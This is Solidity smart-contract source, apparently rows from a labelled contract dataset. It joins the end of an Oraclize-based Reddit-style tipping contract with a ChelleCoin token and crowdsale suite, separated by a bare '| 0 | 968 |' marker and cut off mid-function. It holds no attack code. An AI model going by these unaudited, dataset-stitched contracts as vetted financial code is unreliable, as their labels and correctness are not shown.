sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
pragma solidity ^0.4.17;
contract Extend is usingOraclize {
modifier onlyVerified() {
require(data.getUserVerified(msg.sender));
_;
}
ExtendData data;
ExtendEvents events;
address owner;
function Extend(ExtendData _data, ExtendEvents _events) public {
data = ExtendData(_data);
events = ExtendEvents(_events);
owner = msg.sender;
}
function getDataAddress() public constant returns (address) {
return address(data);
}
function getEventAddress() public constant returns (address) {
return address(events);
}
function getOraclizePrice() public constant returns (uint) {
return oraclize_getPrice("computation");
}
function getAddressFromUsername(bytes32 _username) public constant returns (address userAddress) {
return data.getAddressForUsername(_username);
}
function getUsernameForAddress(address _address) public constant returns (bytes32) {
if (data.getUserVerified(_address)) {
return data.getUserUsername(_address);
}
return 0x0;
}
function checkAddressVerified() public constant returns (bool) {
return data.getUserVerified(msg.sender);
}
function checkUsernameVerified(bytes32 _username) public constant returns (bool) {
return data.getUserVerified(data.getAddressForUsername(_username));
}
function checkBalance() public onlyVerified constant returns (uint) {
return data.getBalanceForUser(data.getUserUsername(msg.sender));
}
function checkIfRefundAvailable(bytes32 _username) public constant returns (bool) {
return (data.getLastTipTime(msg.sender, _username) < (now - 2 weeks)) && (data.getTip(msg.sender, _username) > 0);
}
function createUser(bytes32 _username, string _token) public payable {
data.addUser(msg.sender, _username);
if (oraclize_getPrice("computation") > msg.value) {
events.logBalance(msg.value);
events.logNeededBalance(oraclize_getPrice("computation"));
return;
}
string memory queryString = strConcat("[computation] ['QmaCikXkkUHD7cQMK3AJhTjpPmNj4hLwf3DXBzcEpM9vnL', '${[decrypt] ", _token, "}']");
bytes32 queryId = oraclize_query("nested", queryString);
data.setQueryIdForAddress(queryId, msg.sender);
events.logQuery(queryId, msg.sender);
events.createdUser(_username);
}
function tipUser(bytes32 _username) public payable {
data.addTip(msg.sender, _username, msg.value);
events.userTipped(msg.sender, _username, msg.value);
sendTip(_username, msg.value);
}
function refundMoneyForUser(bytes32 _username) public {
require(data.getLastTipTime(msg.sender, _username) < (now - 2 weeks));
require(!checkUsernameVerified(_username));
uint toSend = data.getTip(msg.sender, _username);
data.removeTip(msg.sender, _username);
msg.sender.transfer(toSend);
events.refundSuccessful(msg.sender, _username);
}
function buyGold(bytes32 _to,
string _months,
string _priceUsd,
string _commentId,
string _nonce,
string _signature) public payable {
owner.transfer(msg.value);
events.goldBought(msg.value, msg.sender, _to, _months, _priceUsd, _commentId, _nonce, _signature);
}
function __callback(bytes32 _myid, string _result) {
require(msg.sender == oraclize_cbAddress());
address queryAddress = data.getAddressForQuery(_myid);
bytes32 usernameAddress = data.getUserUsername(queryAddress);
bytes32 resultBytes = stringToBytes32(_result);
if (usernameAddress != resultBytes) {
events.usernameDoesNotMatch(resultBytes, usernameAddress);
return;
}
data.setVerified(queryAddress);
data.setUsernameForAddress(usernameAddress, queryAddress);
events.verifiedUser(usernameAddress);
sendTip(usernameAddress, data.getBalanceForUser(usernameAddress));
}
function stringToBytes32(string memory _source) internal returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(_source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(_source, 32))
}
}
function sendTip(bytes32 _username, uint _value) private {
address userAddress = getAddressFromUsername(_username);
if (userAddress != 0x0 && _value > 0) {
data.setBalanceForUser(_username, 0);
userAddress.transfer(_value);
}
}
function () payable {
revert();
}
} | 0 | 968 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract OpenZeppelinERC20 is StandardToken, Ownable {
using SafeMath for uint256;
uint8 public decimals;
string public name;
string public symbol;
string public standard;
constructor(
uint256 _totalSupply,
string _tokenName,
uint8 _decimals,
string _tokenSymbol,
bool _transferAllSupplyToOwner
) public {
standard = 'ERC20 0.1';
totalSupply_ = _totalSupply;
if (_transferAllSupplyToOwner) {
balances[msg.sender] = _totalSupply;
} else {
balances[this] = _totalSupply;
}
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimals;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract MintableToken is BasicToken, Ownable {
using SafeMath for uint256;
uint256 public maxSupply;
bool public allowedMinting;
mapping(address => bool) public mintingAgents;
mapping(address => bool) public stateChangeAgents;
event Mint(address indexed holder, uint256 tokens);
modifier onlyMintingAgents () {
require(mintingAgents[msg.sender]);
_;
}
modifier onlyStateChangeAgents () {
require(stateChangeAgents[msg.sender]);
_;
}
constructor(uint256 _maxSupply, uint256 _mintedSupply, bool _allowedMinting) public {
maxSupply = _maxSupply;
totalSupply_ = totalSupply_.add(_mintedSupply);
allowedMinting = _allowedMinting;
mintingAgents[msg.sender] = true;
}
function mint(address _holder, uint256 _tokens) public onlyMintingAgents() {
require(allowedMinting == true && totalSupply_.add(_tokens) <= maxSupply);
totalSupply_ = totalSupply_.add(_tokens);
balances[_holder] = balanceOf(_holder).add(_tokens);
if (totalSupply_ == maxSupply) {
allowedMinting = false;
}
emit Mint(_holder, _tokens);
}
function disableMinting() public onlyStateChangeAgents() {
allowedMinting = false;
}
function updateMintingAgent(address _agent, bool _status) public onlyOwner {
mintingAgents[_agent] = _status;
}
function updateStateChangeAgent(address _agent, bool _status) public onlyOwner {
stateChangeAgents[_agent] = _status;
}
function availableTokens() public view returns (uint256 tokens) {
return maxSupply.sub(totalSupply_);
}
}
contract MintableBurnableToken is MintableToken, BurnableToken {
mapping (address => bool) public burnAgents;
modifier onlyBurnAgents () {
require(burnAgents[msg.sender]);
_;
}
event Burn(address indexed burner, uint256 value);
constructor(
uint256 _maxSupply,
uint256 _mintedSupply,
bool _allowedMinting
) public MintableToken(
_maxSupply,
_mintedSupply,
_allowedMinting
) {
}
function updateBurnAgent(address _agent, bool _status) public onlyOwner {
burnAgents[_agent] = _status;
}
function burnByAgent(address _holder, uint256 _tokensToBurn) public onlyBurnAgents() returns (uint256) {
if (_tokensToBurn == 0) {
_tokensToBurn = balanceOf(_holder);
}
_burn(_holder, _tokensToBurn);
return _tokensToBurn;
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
maxSupply = maxSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract TimeLocked {
uint256 public time;
mapping(address => bool) public excludedAddresses;
modifier isTimeLocked(address _holder, bool _timeLocked) {
bool locked = (block.timestamp < time);
require(excludedAddresses[_holder] == true || locked == _timeLocked);
_;
}
constructor(uint256 _time) public {
time = _time;
}
function updateExcludedAddress(address _address, bool _status) public;
}
contract TimeLockedToken is TimeLocked, StandardToken {
constructor(uint256 _time) public TimeLocked(_time) {}
function transfer(address _to, uint256 _tokens) public isTimeLocked(msg.sender, false) returns (bool) {
return super.transfer(_to, _tokens);
}
function transferFrom(
address _holder,
address _to,
uint256 _tokens
) public isTimeLocked(_holder, false) returns (bool) {
return super.transferFrom(_holder, _to, _tokens);
}
}
contract CHLToken is OpenZeppelinERC20, MintableBurnableToken, TimeLockedToken {
CHLCrowdsale public crowdsale;
bool public isSoftCapAchieved;
constructor(uint256 _unlockTokensTime) public
OpenZeppelinERC20(0, 'ChelleCoin', 18, 'CHL', false)
MintableBurnableToken(59500000e18, 0, true)
TimeLockedToken(_unlockTokensTime) {
}
function updateMaxSupply(uint256 _newMaxSupply) public onlyOwner {
require(_newMaxSupply > 0);
maxSupply = _newMaxSupply;
}
function updateExcludedAddress(address _address, bool _status) public onlyOwner {
excludedAddresses[_address] = _status;
}
function setCrowdSale(address _crowdsale) public onlyOwner {
require(_crowdsale != address(0));
crowdsale = CHLCrowdsale(_crowdsale);
}
function setUnlockTime(uint256 _unlockTokensTime) public onlyStateChangeAgents {
time = _unlockTokensTime;
}
function setIsSoftCapAchieved() public onlyStateChangeAgents {
isSoftCapAchieved = true;
}
function transfer(address _to, uint256 _tokens) public returns (bool) {
require(true == isTransferAllowed(msg.sender, _tokens));
return super.transfer(_to, _tokens);
}
function transferFrom(address _holder, address _to, uint256 _tokens) public returns (bool) {
require(true == isTransferAllowed(_holder, _tokens));
return super.transferFrom(_holder, _to, _tokens);
}
function isTransferAllowed(address _address, uint256 _value) public view returns (bool) {
if (excludedAddresses[_address] == true) {
return true;
}
if (!isSoftCapAchieved && (address(crowdsale) == address(0) || false == crowdsale.isSoftCapAchieved(0))) {
return false;
}
return true;
}
function burnUnsoldTokens(uint256 _tokensToBurn) public onlyBurnAgents() returns (uint256) {
require(totalSupply_.add(_tokensToBurn) <= maxSupply);
maxSupply = maxSupply.sub(_tokensToBurn);
emit Burn(address(0), _tokensToBurn);
return _tokensToBurn;
}
}
contract Agent {
using SafeMath for uint256;
function isInitialized() public constant returns (bool) {
return false;
}
}
contract CrowdsaleAgent is Agent {
Crowdsale public crowdsale;
bool public _isInitialized;
modifier onlyCrowdsale() {
require(msg.sender == address(crowdsale));
_;
}
constructor(Crowdsale _crowdsale) public {
crowdsale = _crowdsale;
if (address(0) != address(_crowdsale)) {
_isInitialized = true;
} else {
_isInitialized = false;
}
}
function isInitialized() public constant returns (bool) {
return _isInitialized;
}
function onContribution(address _contributor, uint256 _weiAmount, uint256 _tokens, uint256 _bonus)
public onlyCrowdsale();
function onStateChange(Crowdsale.State _state) public onlyCrowdsale();
function onRefund(address _contributor, uint256 _tokens) public onlyCrowdsale() returns (uint256 burned);
}
contract MintableCrowdsaleOnSuccessAgent is CrowdsaleAgent {
Crowdsale public crowdsale;
MintableToken public token;
bool public _isInitialized;
constructor(Crowdsale _crowdsale, MintableToken _token) public CrowdsaleAgent(_crowdsale) {
crowdsale = _crowdsale;
token = _token;
if (address(0) != address(_token) &&
address(0) != address(_crowdsale)) {
_isInitialized = true;
} else {
_isInitialized = false;
}
}
function isInitialized() public constant returns (bool) {
return _isInitialized;
}
function onContribution(address _contributor, uint256 _weiAmount, uint256 _tokens, uint256 _bonus)
public onlyCrowdsale() {
_contributor = _contributor;
_weiAmount = _weiAmount;
_tokens = _tokens;
_bonus = _bonus;
}
function onStateChange(Crowdsale.State _state) public onlyCrowdsale() {
if (_state == Crowdsale.State.Success) {
token.disableMinting();
}
}
function onRefund(address _contributor, uint256 _tokens) public onlyCrowdsale() returns (uint256 burned) {
_contributor = _contributor;
_tokens = _tokens;
}
}
contract CHLAgent is MintableCrowdsaleOnSuccessAgent, Ownable {
CHLPricingStrategy public strategy;
CHLCrowdsale public crowdsale;
CHLAllocation public allocation;
bool public isEndProcessed;
constructor(
CHLCrowdsale _crowdsale,
CHLToken _token,
CHLPricingStrategy _strategy,
CHLAllocation _allocation
) public MintableCrowdsaleOnSuccessAgent(_crowdsale, _token) {
strategy = _strategy;
crowdsale = _crowdsale;
allocation = _allocation;
}
function setPricingStrategy(CHLPricingStrategy _strategy) public onlyOwner {
strategy = _strategy;
}
function setAllocation(CHLAllocation _allocation) public onlyOwner {
allocation = _allocation;
}
function burnUnsoldTokens(uint256 _tierId) public onlyOwner {
uint256 tierUnsoldTokensAmount = strategy.getTierUnsoldTokens(_tierId);
require(tierUnsoldTokensAmount > 0);
CHLToken(token).burnUnsoldTokens(tierUnsoldTokensAmount);
}
function onContribution(
address,
uint256 _tierId,
uint256 _tokens,
uint256 _bonus
) public onlyCrowdsale() {
strategy.updateTierTokens(_tierId, _tokens, _bonus);
}
function onStateChange(Crowdsale.State _state) public onlyCrowdsale() {
CHLToken chlToken = CHLToken(token);
if (
chlToken.isSoftCapAchieved() == false
&& (_state == Crowdsale.State.Success || _state == Crowdsale.State.Finalized)
&& crowdsale.isSoftCapAchieved(0)
) {
chlToken.setIsSoftCapAchieved();
}
if (_state > Crowdsale.State.InCrowdsale && isEndProcessed == false) {
allocation.allocateFoundersTokens(strategy.getSaleEndDate());
}
}
function onRefund(address _contributor, uint256 _tokens) public onlyCrowdsale() returns (uint256 burned) {
burned = CHLToken(token).burnByAgent(_contributor, _tokens);
}
function updateStateWithPrivateSale(
uint256 _tierId,
uint256 _tokensAmount,
uint256 _usdAmount
) public {
require(msg.sender == address(allocation));
strategy.updateMaxTokensCollected(_tierId, _tokensAmount);
crowdsale.updateStatsVars(_usdAmount, _tokensAmount);
}
function updateLockPeriod(uint256 _time) public {
require(msg.sender == address(strategy));
CHLToken(token).setUnlockTime(_time.add(12 weeks));
}
}
contract TokenAllocator is Ownable {
mapping(address => bool) public crowdsales;
modifier onlyCrowdsale() {
require(crowdsales[msg.sender]);
_;
}
function addCrowdsales(address _address) public onlyOwner {
crowdsales[_address] = true;
}
function removeCrowdsales(address _address) public onlyOwner {
crowdsales[_address] = false;
}
function isInitialized() public constant returns (bool) {
return false;
}
function allocate(address _holder, uint256 _tokens) public onlyCrowdsale() {
internalAllocate(_holder, _tokens);
}
function tokensAvailable() public constant returns (uint256);
function internalAllocate(address _holder, uint256 _tokens) internal onlyCrowdsale();
}
contract MintableTokenAllocator is TokenAllocator {
using SafeMath for uint256;
MintableToken public token;
constructor(MintableToken _token) public {
require(address(0) != address(_token));
token = _token;
}
function tokensAvailable() public constant returns (uint256) {
return token.availableTokens();
}
function allocate(address _holder, uint256 _tokens) public onlyCrowdsale() {
internalAllocate(_holder, _tokens);
}
function isInitialized() public constant returns (bool) {
return token.mintingAgents(this);
}
function setToken(MintableToken _token) public onlyOwner {
token = _token;
}
function internalAllocate(address _holder, uint256 _tokens) internal {
token.mint(_holder, _tokens);
}
}
contract ContributionForwarder {
using SafeMath for uint256;
uint256 public weiCollected;
uint256 public weiForwarded;
event ContributionForwarded(address receiver, uint256 weiAmount);
function isInitialized() public constant returns (bool) {
return false;
}
function forward() public payable {
require(msg.value > 0);
weiCollected += msg.value;
internalForward();
}
function internalForward() internal;
}
contract DistributedDirectContributionForwarder is ContributionForwarder {
Receiver[] public receivers;
uint256 public proportionAbsMax;
bool public isInitialized_;
struct Receiver {
address receiver;
uint256 proportion;
uint256 forwardedWei;
}
constructor(uint256 _proportionAbsMax, address[] _receivers, uint256[] _proportions) public {
proportionAbsMax = _proportionAbsMax;
require(_receivers.length == _proportions.length);
require(_receivers.length > 0);
uint256 totalProportion;
for (uint256 i = 0; i < _receivers.length; i++) {
uint256 proportion = _proportions[i];
totalProportion = totalProportion.add(proportion);
receivers.push(Receiver(_receivers[i], proportion, 0));
}
require(totalProportion == proportionAbsMax);
isInitialized_ = true;
}
function isInitialized() public constant returns (bool) {
return isInitialized_;
}
function internalForward() internal {
uint256 transferred;
for (uint256 i = 0; i < receivers.length; i++) {
Receiver storage receiver = receivers[i];
uint256 value = msg.value.mul(receiver.proportion).div(proportionAbsMax);
if (i == receivers.length - 1) {
value = msg.value.sub(transferred);
}
transferred = transferred.add(value);
receiver.receiver.transfer(value);
emit ContributionForwarded(receiver.receiver, value);
}
weiForwarded = weiForwarded.add(transferred);
}
}
contract Crowdsale {
uint256 public tokensSold;
enum State {Unknown, Initializing, BeforeCrowdsale, InCrowdsale, Success, Finalized, Refunding}
function externalContribution(address _contributor, uint256 _wei) public payable;
function contribute(uint8 _v, bytes32 _r, bytes32 _s) public payable;
function updateState() public;
function internalContribution(address _contributor, uint256 _wei) internal;
function getState() public view returns (State);
}
contract CrowdsaleImpl is Crowdsale, Ownable {
using SafeMath for uint256;
State public currentState;
TokenAllocator public allocator;
ContributionForwarder public contributionForwarder;
PricingStrategy public pricingStrategy;
CrowdsaleAgent public crowdsaleAgent;
bool public finalized;
uint256 public startDate;
uint256 public endDate;
bool public allowWhitelisted;
bool public allowSigned;
bool public allowAnonymous;
mapping(address => bool) public whitelisted;
mapping(address => bool) public signers;
mapping(address => bool) public externalContributionAgents;
event Contribution(address _contributor, uint256 _wei, uint256 _tokensExcludingBonus, uint256 _bonus);
constructor(
TokenAllocator _allocator,
ContributionForwarder _contributionForwarder,
PricingStrategy _pricingStrategy,
uint256 _startDate,
uint256 _endDate,
bool _allowWhitelisted,
bool _allowSigned,
bool _allowAnonymous
) public {
allocator = _allocator;
contributionForwarder = _contributionForwarder;
pricingStrategy = _pricingStrategy;
startDate = _startDate;
endDate = _endDate;
allowWhitelisted = _allowWhitelisted;
allowSigned = _allowSigned;
allowAnonymous = _allowAnonymous;
currentState = State.Unknown;
}
function() public payable {
require(allowWhitelisted || allowAnonymous);
if (!allowAnonymous) {
if (allowWhitelisted) {
require(whitelisted[msg.sender]);
}
}
internalContribution(msg.sender, msg.value);
}
function setCrowdsaleAgent(CrowdsaleAgent _crowdsaleAgent) public onlyOwner {
crowdsaleAgent = _crowdsaleAgent;
}
function externalContribution(address _contributor, uint256 _wei) public payable {
require(externalContributionAgents[msg.sender]);
internalContribution(_contributor, _wei);
}
function addExternalContributor(address _contributor) public onlyOwner {
externalContributionAgents[_contributor] = true;
}
function removeExternalContributor(address _contributor) public onlyOwner {
externalContributionAgents[_contributor] = false;
}
function updateWhitelist(address _address, bool _status) public onlyOwner {
whitelisted[_address] = _status;
}
function addSigner(address _signer) public onlyOwner {
signers[_signer] = true;
}
function removeSigner(address _signer) public onlyOwner {
signers[_signer] = false;
}
function contribute(uint8 _v, bytes32 _r, bytes32 _s) public payable {
address recoveredAddress = verify(msg.sender, _v, _r, _s);
require(signers[recoveredAddress]);
internalContribution(msg.sender, msg.value);
}
function updateState() public {
State state = getState();
if (currentState != state) {
if (crowdsaleAgent != address(0)) {
crowdsaleAgent.onStateChange(state);
}
currentState = state;
}
}
function internalContribution(address _contributor, uint256 _wei) internal {
require(getState() == State.InCrowdsale);
uint256 tokensAvailable = allocator.tokensAvailable();
uint256 collectedWei = contributionForwarder.weiCollected();
uint256 tokens;
uint256 tokensExcludingBonus;
uint256 bonus;
(tokens, tokensExcludingBonus, bonus) = pricingStrategy.getTokens(
_contributor, tokensAvailable, tokensSold, _wei, collectedWei);
require(tokens > 0 && tokens <= tokensAvailable);
tokensSold = tokensSold.add(tokens);
allocator.allocate(_contributor, tokens);
if (msg.value > 0) {
contributionForwarder.forward.value(msg.value)();
}
emit Contribution(_contributor, _wei, tokensExcludingBonus, bonus);
}
function verify(address _sender, uint8 _v, bytes32 _r, bytes32 _s) public view returns (address) {
bytes32 hash = keccak256(abi.encodePacked(this, _sender));
bytes memory prefix = '\x19Ethereum Signed Message:\n32';
return ecrecover(keccak256(abi.encodePacked(prefix, hash)), _v, _r, _s);
}
function getState() public view returns (State) {
if (finalized) {
return State.Finalized;
} else if (allocator.isInitialized() == false) {
return State.Initializing;
} else if (contributionForwarder.isInitialized() == false) {
return State.Initializing;
} else if (pricingStrategy.isInitialized() == false) {
return State.Initializing;
} else if (block.timestamp < startDate) {
return State.BeforeCrowdsale;
} else if (block.timestamp >= startDate && block.timestamp <= endDate) {
return State.InCrowdsale;
} else if (block.timestamp > endDate) {
return State.Success;
}
return State.Unknown;
}
}
contract HardCappedCrowdsale is CrowdsaleImpl {
using SafeMath for uint256;
uint256 public hardCap;
constructor(
TokenAllocator _allocator,
ContributionForwarder _contributionForwarder,
PricingStrategy _pricingStrategy,
uint256 _startDate,
uint256 _endDate,
bool _allowWhitelisted,
bool _allowSigned,
bool _allowAnonymous,
uint256 _hardCap
) public CrowdsaleImpl(
_allocator,
_contributionForwarder,
_pricingStrategy,
_startDate,
_endDate,
_allowWhitelisted,
_allowSigned,
_allowAnonymous
) {
hardCap = _hardCap;
}
function getState() public view returns (State) {
State state = super.getState();
if (state == State.InCrowdsale) {
if (isHardCapAchieved(0)) {
return State.Success;
}
}
return state;
}
function isHardCapAchieved(uint256 _value) public view returns (bool) {
if (hardCap <= tokensSold.add(_value)) {
return true;
}
return false;
}
function internalContribution(address _contributor, uint256 _wei) internal {
require(getState() == State.InCrowdsale);
uint256 tokensAvailable = allocator.tokensAvailable();
uint256 collectedWei = contributionForwarder.weiCollected();
uint256 tokens;
uint256 tokensExcludingBonus;
uint256 bonus;
(tokens, tokensExcludingBonus, bonus) = pricingStrategy.getTokens(
_contributor, tokensAvailable, tokensSold, _wei, collectedWei);
require(tokens <= tokensAvailable && tokens > 0 && false == isHardCapAchieved(tokens.sub(1)));
tokensSold = tokensSold.add(tokens);
allocator.allocate(_contributor, tokens);
if (msg.value > 0) {
contributionForwarder.forward.value(msg.value)();
}
crowdsaleAgent.onContribution(_contributor, _wei, tokensExcludingBonus, bonus);
emit Contribution(_contributor, _wei, tokensExcludingBonus, bonus);
}
}
contract RefundableCrowdsale is HardCappedCrowdsale {
using SafeMath for uint256;
uint256 public softCap;
mapping(address => uint256) public contributorsWei;
address[] public contributors;
event Refund(address _holder, uint256 _wei, uint256 _tokens);
constructor(
TokenAllocator _allocator,
ContributionForwarder _contributionForwarder,
PricingStrategy _pricingStrategy,
uint256 _startDate,
uint256 _endDate,
bool _allowWhitelisted,
bool _allowSigned,
bool _allowAnonymous,
uint256 _softCap,
uint256 _hardCap
) public HardCappedCrowdsale(
_allocator, _contributionForwarder, _pricingStrategy,
_startDate, _endDate,
_allowWhitelisted, _allowSigned, _allowAnonymous, _hardCap
) {
softCap = _softCap;
}
function refund() public {
internalRefund(msg.sender);
}
function delegatedRefund(address _address) public {
internalRefund(_address);
}
function internalContribution(address _contributor, uint256 _wei) internal {
require(block.timestamp >= startDate && block.timestamp <= endDate);
uint256 tokensAvailable = allocator.tokensAvailable();
uint256 collectedWei = contributionForwarder.weiCollected();
uint256 tokens;
uint256 tokensExcludingBonus;
uint256 bonus;
(tokens, tokensExcludingBonus, bonus) = pricingStrategy.getTokens(
_contributor, tokensAvailable, tokensSold, _wei, collectedWei);
